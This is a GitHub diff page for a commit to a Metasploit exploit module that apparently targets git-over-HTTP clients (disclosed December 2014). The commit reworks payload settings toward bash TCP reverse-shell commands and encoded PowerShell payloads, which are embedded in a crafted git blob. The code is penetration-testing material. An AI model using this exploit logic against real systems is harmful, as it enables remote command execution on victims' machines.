File tree Expand file tree Collapse file tree 1 file changed +15
-14
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +15
-14
lines changed Original file line number Diff line number Diff line change @@ -54,24 +54,21 @@ def initialize(info = {})
54
54
55
55
] ,
56
56
'DisclosureDate' => 'Dec 18 2014' ,
57
- # TODO: correct all of this
58
- 'Payload' =>
59
- {
60
- 'Compat' =>
61
- {
62
- 'PayloadType' => 'cmd' ,
63
- 'RequiredCmd' => 'generic perl bash'
64
- } ,
65
- 'EncoderType' => Msf ::Encoder ::Type ::Raw
66
- } ,
67
- 'Platform' => %w( osx win ) ,
68
- 'Targets' =>
57
+ 'Targets' =>
69
58
[
70
59
[
71
60
'Automatic' ,
72
61
{
73
62
'Platform' => [ 'unix' ] ,
74
- 'Arch' => ARCH_CMD
63
+ 'Arch' => ARCH_CMD ,
64
+ 'Payload' =>
65
+ {
66
+ 'Compat' =>
67
+ {
68
+ 'PayloadType' => 'cmd_bash' ,
69
+ 'RequiredCmd' => 'generic bash-tcp'
70
+ } ,
71
+ }
75
72
}
76
73
] ,
77
74
[
@@ -134,7 +131,11 @@ def setup_git
134
131
when 'Automatic'
135
132
full_cmd = "#!/bin/sh\n #{ payload . encoded } \n "
136
133
when 'Windows Powershell'
137
- full_cmd = "#!/bin/sh\n #{ cmd_psh_payload ( payload . encoded , payload_instance . arch . first ) } "
134
+ psh = cmd_psh_payload ( payload . encoded ,
135
+ payload_instance . arch . first ,
136
+ remove_comspec : true ,
137
+ encode_final_payload : true )
138
+ full_cmd = "#!/bin/sh\n #{ psh } "
138
139
end
139
140
140
141
sha1 , content = build_object ( 'blob' , full_cmd )
You can’t perform that action at this time.
0 commit comments